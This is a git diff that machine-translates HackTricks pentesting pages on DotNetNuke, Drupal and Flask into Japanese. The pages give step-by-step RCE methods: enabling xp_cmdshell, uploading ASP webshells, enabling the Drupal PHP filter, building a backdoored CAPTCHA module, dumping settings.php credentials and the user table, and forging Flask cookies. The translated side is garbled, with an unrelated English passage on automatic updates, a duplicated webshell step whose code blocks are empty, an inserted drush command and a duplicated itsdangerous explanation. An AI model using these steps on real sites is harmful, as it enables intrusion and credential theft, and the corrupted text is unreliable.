+[Psalm](https://phpmagazine.net/2018/12/find-errors-in-your-php-applications-with-psalm.html)と[PHPStan](https://phpmagazine.net/2020/09/phpstan-pro-edition-launched.html)。 -### Wordpress Plugins +### Wordpressプラグイン [https://www.pluginvulnerabilities.com/plugin-security-checker/](https://www.pluginvulnerabilities.com/plugin-security-checker/) @@ -203,14 +289,14 @@ https://github.com/securego/gosec ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**または**[telegramグループ](https://t.me/peass)**に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md index 0e738d434..7a3e17055 100644 --- a/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md +++ b/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md @@ -4,61 +4,57 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 ## DotNetNuke (DNN) -If you enter as **administrator** in DNN it's easy to obtain RCE. +DNNに**管理者**としてログインすると、RCEを簡単に取得できます。 ## RCE -### Via SQL +### SQL経由 -A SQL console is accessible under the **`Settings`** page where you can enable **`xp_cmdshell`** and **run operating system commands**. - -Use these lines to enable **`xp_cmdshell`**: +**`設定`**ページの下にあるSQLコンソールから、**`xp_cmdshell`**を有効にして**オペレーティングシステムコマンドを実行**できます。 +次の行を使用して**`xp_cmdshell`**を有効にします: ```sql EXEC sp_configure 'show advanced options', '1' RECONFIGURE -EXEC sp_configure 'xp_cmdshell', '1' +EXEC sp_configure 'xp_cmdshell', '1' RECONFIGURE ``` +そして、**"スクリプトを実行"** を押して、そのSQL文を実行します。 -And press **"Run Script"** to run that sQL sentences. - -Then, use something like the following to run OS commands: - +次に、以下のようなものを使用してOSコマンドを実行します: ```sql xp_cmdshell 'whoami' ``` +### ASPウェブシェルを介して -### Via ASP webshell +`設定 -> セキュリティ -> その他 -> その他のセキュリティ設定`で、`許可されるファイル拡張子`の下に新しい許可される拡張子を追加し、`保存`ボタンをクリックします。 -In `Settings -> Security -> More -> More Security Settings` you can **add new allowed extensions** under `Allowable File Extensions`, and then clicking the `Save` button. +**`asp`**または**`aspx`**を追加し、その後、**`/admin/file-management`**に**aspウェブシェル**をアップロードします(例:`shell.asp`)。 -Add **`asp`** or **`aspx`** and then in **`/admin/file-management`** upload an **asp webshell** called `shell.asp` for example. +その後、**`/Portals/0/shell.asp`**にアクセスしてウェブシェルにアクセスします。 -Then access to **`/Portals/0/shell.asp`** to access your webshell. +### 特権昇格 -### Privilege Escalation - -You can **escalate privileges** using the **Potatoes** or **PrintSpoofer** for example. +例えば、**Potatoes**または**PrintSpoofer**を使用して特権を昇格させることができます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
diff --git a/network-services-pentesting/pentesting-web/drupal.md b/network-services-pentesting/pentesting-web/drupal.md index d2ee34109..8927ecb11 100644 --- a/network-services-pentesting/pentesting-web/drupal.md +++ b/network-services-pentesting/pentesting-web/drupal.md @@ -4,83 +4,76 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** ## Discovery -* Check **meta** - +* **メタ**をチェックする ```bash curl https://www.drupal.org/ | grep 'content="Drupal' ``` - -* **Node**: Drupal **indexes its content using nodes**. A node can **hold anything** such as a blog post, poll, article, etc. The page URIs are usually of the form `/node/`. - +* **ノード**: Drupalは**ノードを使用してコンテンツをインデックス**します。ノードはブログ投稿、投票、記事など、**何でも保持**することができます。ページのURIは通常、`/node/`の形式です。 ```bash curl drupal-site.com/node/1 ``` +## 列挙 -## Enumeration +Drupalはデフォルトで**3種類のユーザー**をサポートしています: -Drupal supports **three types of users** by default: +1. **`管理者`**: このユーザーはDrupalウェブサイトを完全に制御できます。 +2. **`認証済みユーザー`**: これらのユーザーはウェブサイトにログインし、権限に基づいて記事の追加や編集などの操作を行うことができます。 +3. **`匿名`**: すべてのウェブサイト訪問者は匿名として指定されます。デフォルトでは、これらのユーザーは投稿の読み取りのみが許可されています。 -1. **`Administrator`**: This user has complete control over the Drupal website. -2. **`Authenticated User`**: These users can log in to the website and perform operations such as adding and editing articles based on their permissions. -3. **`Anonymous`**: All website visitors are designated as anonymous. By default, these users are only allowed to read posts. - -### Version - -* Check `/CHANGELOG.txt` +### バージョン +* `/CHANGELOG.txt`をチェックします。 ```bash curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 "" Drupal 7.57, 2018-02-21 ``` - {% hint style="info" %} -Newer installs of Drupal by default block access to the `CHANGELOG.txt` and `README.txt` files. +Drupalの新しいインストールでは、デフォルトで`CHANGELOG.txt`と`README.txt`ファイルへのアクセスがブロックされます。 {% endhint %} -### Username enumeration +### ユーザー名の列挙 -#### Register +#### 登録 -In _/user/register_ just try to create a username and if the name is already taken it will be notified: +_/user/register_でユーザー名を作成しようとすると、既に使用されている場合に通知されます: ![](<../../.gitbook/assets/image (254).png>) -#### Request new password +#### 新しいパスワードのリクエスト -If you request a new password for an existing username: +既存のユーザー名の新しいパスワードをリクエストする場合: ![](<../../.gitbook/assets/image (255).png>) -If you request a new password for a non-existent username: +存在しないユーザー名の新しいパスワードをリクエストする場合: ![](<../../.gitbook/assets/image (256).png>) -### Get number of users +### ユーザー数の取得 -Accessing _/user/\_ you can see the number of existing users, in this case is 2 as _/users/3_ returns a not found error: +_/user/\_にアクセスすると、既存のユーザー数を確認できます。この場合、_users/3_は見つからないエラーを返します: ![](<../../.gitbook/assets/image (257).png>) ![](<../../.gitbook/assets/image (227) (1) (1).png>) -### Hidden pages +### 隠しページ -**Fuzz `/node/$` where `$` is a number** (from 1 to 500 for example).\ -You could find **hidden pages** (test, dev) which are not referenced by the search engines. - -#### Installed modules info +**`/node/$`という形式でFuzzする**($は1から500までの数値)。\ +検索エンジンによって参照されていない**隠れたページ**(テスト、開発)を見つけることができます。 +#### インストールされたモジュールの情報 ```bash #From https://twitter.com/intigriti/status/1439192489093644292/photo/1 #Get info on installed modules @@ -90,100 +83,108 @@ curl https://example.com/core/core.services.yml # Download content from files exposed in the previous step curl https://example.com/config/sync/swiftmailer.transport.yml ``` +### 自動 -### Automatic +Drupal has a built-in feature called "Automatic Drupal Core Updates" that allows the system to automatically update the Drupal core when new security releases are available. This feature can be enabled by navigating to **Administer > Configuration > Development > Automatic Updates**. +Drupal also provides a command-line tool called `drush` that can be used to automate various tasks, including updating Drupal core and modules. The `drush pm-update` command can be used to update Drupal core and modules to their latest versions. + +Automating the update process can help ensure that your Drupal installation is always up to date with the latest security patches, reducing the risk of vulnerabilities being exploited. + +However, it is important to note that automatic updates should be used with caution, as they can potentially introduce compatibility issues or break customizations. It is recommended to thoroughly test updates in a development environment before applying them to a production site. + +To disable automatic updates, simply navigate to the **Automatic Updates** configuration page and uncheck the "Enable automatic updates" option. ```bash droopescan scan drupal -u http://drupal-site.local ``` - ## RCE -### With PHP Filter Module +### PHPフィルターモジュールを使用する {% hint style="warning" %} -In older versions of Drupal **(before version 8)**, it was possible to log in as an admin and **enable the `PHP filter` module**, which "Allows embedded PHP code/snippets to be evaluated." +Drupalの**古いバージョン(バージョン8より前)**では、管理者としてログインし、**`PHPフィルター`モジュールを有効化**することが可能でした。このモジュールは「埋め込まれたPHPコード/スニペットを評価する」機能を提供します。 {% endhint %} -You need the **plugin php to be installed** (check it accessing to _/modules/php_ and if it returns a **403** then, **exists**, if **not found**, then the **plugin php isn't installed**) +**プラグインphpがインストールされている必要があります**(_modules/php_にアクセスして**403**が返される場合は、**存在します**。**見つからない**場合は、**プラグインphpがインストールされていません**) -Go to _Modules_ -> (**Check**) _PHP Filter_ -> _Save configuration_ +_Modules_に移動 -> (**チェック**) _PHP Filter_ -> _Save configuration_ ![](<../../.gitbook/assets/image (247) (1).png>) -Then click on _Add content_ -> Select _Basic Page_ or _Article -_> Write _php shellcode on the body_ -> Select _PHP code_ in _Text format_ -> Select _Preview_ +次に、_Add content_をクリック -> _Basic Page_または_Article_を選択 -> _本文にphpシェルコードを記述_ -> _Text format_で_PHP code_を選択 -> _Preview_を選択 ![](<../../.gitbook/assets/image (253) (1).png>) -Finally just access the newly created node: - +最後に、新しく作成したノードにアクセスしてください: ```bash curl http://drupal-site.local/node/3 ``` +### PHPフィルターモジュールのインストール -### Install PHP Filter Module +バージョン8以降、[PHPフィルター](https://www.drupal.org/project/php/releases/8.x-1.1)モジュールはデフォルトでインストールされていません。この機能を利用するには、モジュールを自分でインストールする必要があります。 -From version **8 onwards, the** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module is not installed by default**. To leverage this functionality, we would have to **install the module ourselves**. +1. Drupalのウェブサイトから最新バージョンのモジュールをダウンロードします。 +1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz +2. ダウンロードが完了したら、**`管理`** > **`レポート`** > **`利用可能な更新`**に移動します。 +3. **`参照`**をクリックし、ダウンロードしたディレクトリからファイルを選択し、**`インストール`**をクリックします。 +4. モジュールがインストールされたら、**`コンテンツ`**をクリックして、Drupal 7の例と同様に**新しい基本ページを作成**します。再度、**`テキスト形式`のドロップダウンメニューから`PHPコード`を選択**することを忘れないでください。 -1. Download the most recent version of the module from the Drupal website. - 1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz -2. Once downloaded go to **`Administration`** > **`Reports`** > **`Available updates`**. -3. Click on **`Browse`**`,` select the file from the directory we downloaded it to, and then click **`Install`**. -4. Once the module is installed, we can click on **`Content`** and **create a new basic page**, similar to how we did in the Drupal 7 example. Again, be sure to **select `PHP code` from the `Text format` dropdown**. +### バックドア付きモジュール -### Backdoored Module - -A backdoored module can be created by **adding a shell to an existing module**. Modules can be found on the drupal.org website. Let's pick a module such as [CAPTCHA](https://www.drupal.org/project/captcha). Scroll down and copy the link for the tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz). - -* Download the archive and extract its contents. +バックドア付きモジュールは、**既存のモジュールにシェルを追加する**ことで作成できます。モジュールはdrupal.orgのウェブサイトで見つけることができます。[CAPTCHA](https://www.drupal.org/project/captcha)のようなモジュールを選びましょう。下にスクロールして、tar.gz形式の[アーカイブ](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)のリンクをコピーします。 +* アーカイブをダウンロードして、その内容を抽出します。 ``` wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz tar xvf captcha-8.x-1.2.tar.gz ``` +* 以下の内容で**PHPウェブシェル**を作成します: -* Create a **PHP web shell** with the contents: +```php + +``` +* 以下の内容で**PHPウェブシェル**を作成します: ```php ``` - -* Next, we need to create a **`.htaccess`** file to give ourselves access to the folder. This is necessary as Drupal denies direct access to the **`/modules`** folder. - +* 次に、フォルダへのアクセス権限を自分自身に与えるために **`.htaccess`** ファイルを作成する必要があります。これは、Drupalが **`/modules`** フォルダへの直接アクセスを拒否するため、必要です。 ```html RewriteEngine On RewriteBase / ``` - -* The configuration above will apply rules for the / folder when we request a file in /modules. Copy both of these files to the captcha folder and create an archive. - +* 上記の設定は、/modules内のファイルをリクエストする際に、/フォルダに対してルールを適用します。これらのファイルをcaptchaフォルダにコピーし、アーカイブを作成してください。 ```bash mv shell.php .htaccess captcha tar cvf captcha.tar.gz captcha/ ``` +* ウェブサイトへの**管理アクセス**があると仮定し、サイドバーの**`管理`**をクリックし、次に**`拡張`**をクリックします。次に、**`+ 新しいモジュールをインストール`**ボタンをクリックし、インストールページに移動します。例えば、`http://drupal-site.local/admin/modules/install`に移動します。バックドアが仕込まれたCaptchaのアーカイブを参照し、**`インストール`**をクリックします。 +* インストールが成功したら、**`/modules/captcha/shell.php`**にアクセスしてコマンドを実行します。 -* Assuming we have **administrative access** to the website, click on **`Manage`** and then **`Extend`** on the sidebar. Next, click on the **`+ Install new module`** button, and we will be taken to the install page, such as `http://drupal-site.local/admin/modules/install` Browse to the backdoored Captcha archive and click **`Install`**. -* Once the installation succeeds, browse to **`/modules/captcha/shell.php`** to execute commands. - -## Post Exploitation - -### Read settings.php +## ポストエクスプロイテーション +### settings.phpを読む ``` find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null ``` +### DBからユーザーをダンプする -### Dump users from DB +```bash +# Dump users from DB +drush sql-query "SELECT name, pass FROM users" +``` +このコマンドは、Drupalのデータベースからユーザー情報をダンプします。 ``` mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users' ``` - -## References +## 参考文献 * [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209) @@ -191,10 +192,10 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/network-services-pentesting/pentesting-web/flask.md b/network-services-pentesting/pentesting-web/flask.md index 925f36cb2..8b20dc5ea 100644 --- a/network-services-pentesting/pentesting-web/flask.md +++ b/network-services-pentesting/pentesting-web/flask.md @@ -4,93 +4,197 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -**Probably if you are playing a CTF a Flask application will be related to** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.** +**おそらく、CTFをプレイしている場合、Flaskアプリケーションは** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**に関連しているでしょう。** ## Cookies -Default cookie session name is **`session`**. +デフォルトのクッキーセッション名は**`session`**です。 -### Decoder +### デコーダー -Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) +オンラインのFlaskクッキーデコーダー:[https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) -#### Manual - -Get the first part of the cookie until the first point and Base64 decode it> +#### 手動 +最初のドットまでのクッキーの最初の部分を取得し、Base64でデコードします> ```bash echo "ImhlbGxvIg" | base64 -d ``` - -The cookie is also signed using a password +クッキーはパスワードを使用して署名されています。 ### **Flask-Unsign** -Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys. +秘密のキーを推測して、Flaskアプリケーションのセッションクッキーを取得、デコード、ブルートフォース、および作成するためのコマンドラインツールです。 {% embed url="https://pypi.org/project/flask-unsign/" %} - ```bash pip3 install flask-unsign ``` +#### **Cookieのデコード** -#### **Decode Cookie** +```plaintext +To decode a Flask cookie, you can use the `itsdangerous` library. The `itsdangerous` library provides a `URLSafeTimedSerializer` class that can be used to decode and verify the integrity of a Flask cookie. +Here is an example of how to decode a Flask cookie using `itsdangerous`: + +```python +from itsdangerous import URLSafeTimedSerializer + +def decode_cookie(cookie_value, secret_key): + serializer = URLSafeTimedSerializer(secret_key) + try: + decoded_data = serializer.loads(cookie_value) + return decoded_data + except Exception as e: + print(f"Error decoding cookie: {e}") + return None +``` + +In the above example, the `decode_cookie` function takes in the `cookie_value` and `secret_key` as parameters. It creates an instance of the `URLSafeTimedSerializer` class with the provided `secret_key`. The `loads` method of the serializer is then used to decode the `cookie_value`. If the decoding is successful, the decoded data is returned. If an error occurs during decoding, an error message is printed and `None` is returned. + +Remember to keep the `secret_key` secure and not expose it in your code or configuration files. +``` + +Cookieをデコードするには、`itsdangerous`ライブラリを使用することができます。`itsdangerous`ライブラリには、FlaskのCookieをデコードし、整合性を検証するために使用できる`URLSafeTimedSerializer`クラスが提供されています。 + +以下は、`itsdangerous`を使用してFlaskのCookieをデコードする方法の例です。 + +```python +from itsdangerous import URLSafeTimedSerializer + +def decode_cookie(cookie_value, secret_key): + serializer = URLSafeTimedSerializer(secret_key) + try: + decoded_data = serializer.loads(cookie_value) + return decoded_data + except Exception as e: + print(f"Error decoding cookie: {e}") + return None +``` + +上記の例では、`decode_cookie`関数は`cookie_value`と`secret_key`をパラメータとして受け取ります。提供された`secret_key`で`URLSafeTimedSerializer`クラスのインスタンスを作成します。次に、シリアライザの`loads`メソッドを使用して`cookie_value`をデコードします。デコードが成功した場合、デコードされたデータが返されます。デコード中にエラーが発生した場合、エラーメッセージが表示され、`None`が返されます。 + +`secret_key`を安全に保管し、コードや設定ファイルで公開しないように注意してください。 ```bash flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' ``` +#### **ブルートフォース攻撃** -#### **Brute Force** +Brute Force(ブルートフォース)攻撃は、パスワードや認証情報を推測するために使用される攻撃手法です。この攻撃では、自動化されたツールを使用して、大量のパスワードの組み合わせを試行し、正しい組み合わせを見つけることを目指します。 